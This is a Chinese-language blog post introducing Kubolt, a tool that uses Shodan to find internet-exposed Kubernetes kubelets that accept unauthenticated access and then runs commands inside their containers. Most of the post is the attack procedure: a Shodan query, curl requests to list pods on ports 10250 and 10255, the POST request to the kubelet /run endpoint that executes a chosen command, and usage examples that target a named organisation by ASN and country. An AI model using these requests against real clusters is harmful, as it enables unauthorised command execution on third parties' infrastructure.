可用于扫描开放Kubernetes集群的实用工具,Kubolt

Kubolt是一款可以用来对公共未认证的Kubernetes集群进行安全扫描的实用工具,它允许我们直接在容器内运行控制命令。

某些情况下,Kubelet端口10250是开放的并接受未认证的访问请求,这样我们就可以使用kubelet的getrun函数来在容器内部执行操作命令了:

//getRun handles requests to run a command inside a container.

func(s *Server) getRun(request *restful.Request, response *restful.Response) {

       params := getExecRequestParams(request)

       pod, ok := s.host.GetPodByName(params.podNamespace,params.podName)

       if !ok {

        response.WriteError(http.StatusNotFound,fmt.Errorf("pod does not exist"))

              return

       }

运行机制及使用方式
基础请求示例:

ssl:trueport:10250 404

Kubelet默认使用SSL以及端口10250,其中的404指的是使用没有URL路径的HTTP响应。

Kubolt会通过Shodan API来请求获取一份IP地址列表,并保存下来以供后续公开资源情报调查活动的使用。

首先,我们可以运行Kubelet并过滤掉请求中不包含Unauthorized但包含container的主机,然后直接在容器内运行命令:

curl -k https://IP-from-Shodan:10250/runningpods/

当然了,你还可以利用下列请求获取所有可用的Pods:

curl-k https://IP-from-Shodan:10250/pods/

curlhttp://IP-from-Shodan:10255/pods/

接下来,Kubolt会对主机返回的响应信息进行解析,并生成如下所示的新请求:

curl -XPOST -khttps://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName>-d "cmd=<command-to-run>"

你还可以使用如下Shodan过滤器来针对企业组织网络进行更加精准的安全扫描:

-asn

-org

-country

-net

工具安装

mkdir output

pip install -r requirements.txt

工具运行

python kubolt.py --query "asn:123123 org:'ACME Corporation'"
或

pythonkubolt.py --query "org:'ACME Corporation' country:UK"
Shodan

Kubolt使用了Shodan API以及相应的Query Credits,如果你在没有配置请求过滤器的情况下运行了该工具,那你有可能会触发你所有的Credits。

http://www.45zq.cn

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值